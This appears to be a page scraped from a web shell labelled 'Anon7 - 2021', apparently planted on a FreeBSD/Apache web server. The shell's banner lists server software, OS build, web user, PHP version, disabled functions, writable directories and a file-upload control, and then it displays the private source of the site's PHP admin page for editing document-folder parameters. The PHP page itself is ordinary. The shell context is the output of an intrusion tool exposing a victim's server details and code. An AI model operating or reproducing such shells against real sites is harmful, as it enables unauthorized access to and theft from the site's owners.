KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/documentos/valores_config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/documentos/valores_config/modParametros.php
<?php
include('./../../fnc/DBConnect.php');
include('./../../fnc/componente.php');
include('./../../fnc/parametro.php');
include('./../../fnc/vinculo.php');
include('./../../fnc/UsuarioPanel.php');
include('./../../fnc/bitacora.php');
include('./../../fnc/aplicacion.php');
include('./../../fnc/panel.php');
include('./../fnc/Carpeta.php');
include('./../fnc/Parametros.php');

session_start('PanelAzulDigial');
if(!session_is_registered("panel")){
	echo "<div style=\"	font-family: Verdana, Arial, Helvetica, sans-serif;	color: #0066CC;	font-size: 16px;font-weight: bolder;\">Invalid User</div>";
}else{

$panel->reactivarDB();

$tipo_u=$panel->usuario->tipo;
$user_u=$panel->usuario->id;
$estado_u=$panel->usuario->estado;

$parametros=new Parametros();

$max_pro = $panel->aplicativo->numeroMaximoDeDocsPorCarpetaCreado();
$max_cate = $panel->aplicativo->numeroMaximoDeSubcarpetasCreado(false);
$max_sub = $panel->aplicativo->numeroMaximoDeSubcarpetasCreado(true);
?>

<link href="css/panel2Contenido.css" rel="stylesheet" type="text/css">
<script> 
if (history.forward(1)){location.replace(history.forward(1))} 
</script>
<script>
function tipear(val){
	document.frm.tipo.value=val;
}
function mgOver(obj){
	var elm = document.getElementsByTagName("a");
	elm[obj.id].setAttribute("class","migasover");
}
function mgOut(obj){
	var elm = document.getElementsByTagName("a");
	elm[obj.id].setAttribute("class","migas");
}

/*
function validar(user){
	if(user==1){
		if(fncCheckFormMod(document.frm)){
			document.frm.submit();
		}else{
			return false;
		}
	}
	if(user==2 || user==3){
		if(fncCheckFormModF(document.frm)){
			document.frm.submit();
		}else{
			return false;
		}
	}	
	
}*/
function nombresParametros()
{
	for (i = 0; i < document.frm.elements.length; i++) {
		var a = document.frm.elements[i].name;
		if (document.frm.elements[i].type == "text" && a.substring(0,6) == "nombre") 
		{
			document.frm.elements[i].disabled = true;
		}
	}
}

function nombresParametrosEnabled()
{
	for (i = 0; i < document.frm.elements.length; i++) {
		var a = document.frm.elements[i].name;
		if (document.frm.elements[i].type == "text" && a.substring(0,6) == "nombre") 
		{
			document.frm.elements[i].disabled = false;
		}
	}
}

function validacionesDocumentos()
{
	for (i = 0; i < document.frm.elements.length; i++) {
		var a = document.frm.elements[i].name;
		if (document.frm.elements[i].type == "text" && a.substring(0,6) == "nombre") 
		{
			if(document.frm.elements[i].value == "num_carpeta")
			{
				//alert('valor'+ a.substring(6,a.length));
				var b = document.frm.elements['valor'+ a.substring(6,a.length)].value;
				if(b <= 0)
				{
					alert("El n�mero de carpetas debe ser mayor a 0");
					return false;
				}
				if( b < <? echo $max_cate;?>)
				{
				alert("El n�mero de carpetas existentes ("+<? echo $max_cate;?>+") es mayor al especificado. Por favor ingrese otro valor.");
									return false;
				}
				//alert(document.frm.elements['valor'+ a.substring(6,a.length)].value);
			}

			if(document.frm.elements[i].value == "num_subcarpeta")
			{
				var b = document.frm.elements['valor'+ a.substring(6,a.length)].value;

				if( b < <? echo $max_sub;?>)
				{
				alert("El n�mero de subcarpetas existentes ("+<? echo $max_sub;?>+") es mayor al especificado. Por favor ingrese otro valor.");
									return false;
				}
			}

			if(document.frm.elements[i].value == "num_documento")
			{
				var b = document.frm.elements['valor'+ a.substring(6,a.length)].value;

				if( b < <? echo $max_pro;?>)
				{
				alert("El n�mero de documentos existentes por carpeta("+<? echo $max_pro;?>+") es mayor al especificado. Por favor ingrese otro valor.");
									return false;
				}
			}

			if(document.frm.elements[i].value == "num_archivo")
			{
				
				var b = document.frm.elements['valor'+ a.substring(6,a.length)].value;
				if(b <= 0)
				{
					alert("El n�mero de archivos debe ser mayor a 0.");
					return false;
				}
				
			}
		
		}
	}
	return true;

}
function validar(user){
	if(validacionesDocumentos() == true)
	{
		if(user==1){
			if(fncCheckFormMod(document.frm)){
				nombresParametrosEnabled();
				document.frm.submit();
			}else{
				return false;
			}
		}
		if(user==2 || user==3){
			if(fncCheckFormModF(document.frm)){
				nombresParametrosEnabled();
				document.frm.submit();
			}else{
				return false;
			}
		}	
	}
	
}

</script>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.style1 {color: #000099}
.style3 {color: #0000CC}
-->
</style><center>
<script src="js/validaciones.js"></script>
<table width="545" border="0" cellspacing="2" cellpadding="2" class="texto1" align="left">
    <tr>
        <td align="left" bgcolor="cccccc" class="migas" > 
		<a id="migainicio" href="../../contenido.php" class="migas" style="cursor:hand" title="Indice de Aplicaciones" onMouseOver="javascript: mgOver(this);" onMouseOut="javascript: mgOut(this);">Inicio</a> / <a id="migaindex" href="../menu.php" class="migas" onMouseOver="javascript: mgOver(this);" onMouseOut="javascript: mgOut(this);"><?=ucfirst(strtolower($panel->aplicativo->nombre))?></a> /
		<a href="index.php" style="cursor:hand; text-decoration:none; font-size:11px; font-family:Arial, Helvetica, sans-serif; font-weight:bold; color:#FFFFFF" onMouseover="this.style.color='0000FF'" onMouseOut="this.style.color='ffffFF';">Parameters <?=ucfirst($panel->aplicativo->nombre)?></a>
		/ <span class="migasactivo">Change parameters</span>
		</td>
    </tr>
    <tr>
      <td ><img src="../img/menu.gif" width="49" height="23" align="top">
        <input name="tem" type="button" class="boton1"onClick="javascript: document.location.href= '../index.php'" value="Documentos">
        <input name="tem22" type="button" class="boton1" style="width:58 "onClick="javascript: document.location.href= '../listUsuarios.php'" value="Usuarios">
		<input name="tem222" type="button" class="boton1" onClick="javascript: document.location.href= 'index.php'" value="Parameters"></td>
    </tr>
    <tr>
      <td align="left">
		<form name="frm" target="_fra_user" action="../fnc/main.php?task=modConfig2" method="post" id="frm">	  
	  	  <table cellspacing=1 cellpadding=0 width="100%" align="left" bgcolor="000099" border=0 id="campos">
              <tr bgcolor="000099" class="titular1">
                <td width="14%"><a onClick="javascript: document.location.href= 'index.php'" title="Volver" style="cursor:hand; width:40"><img src="img/atras.gif" style="cursor:hand "></a></td>
                <td width="86%" class="nombreColum">Registered parameters</td>
            </tr>
              <tr bgcolor="#ffffff">
                <td colspan="2" valign="top"><br>
					<div>
					<? $cant = $panel->aplicativo->parametro->showlistParametros($panel->aplicativo->id,$panel->usuario->tipo,"modificacion",$panel->aplicativo->nombre);?>
					</div><br><div align="center">
					<input type="hidden" name="cantidad" value="<?=$cant?>">
					<input name="modificar" type="button" class="boton1" onClick="javascript: validar('<?=$panel->usuario->tipo?>');" value="Change">
					<input name="cancelar" type="button" class="boton1" onClick="javascript: document.location.href = 'index.php';" value="Cancel">
								</div>				</td>
            </tr>
          </table>
		</form>
	  </td>
    </tr>
   <tr><td><iframe src="" name="_fra_user" width="0" height="0" frameborder="0"></iframe></td></tr>
</table>
</center>				
<? }?>
<script>
nombresParametros();

</script>

Anon7 - 2021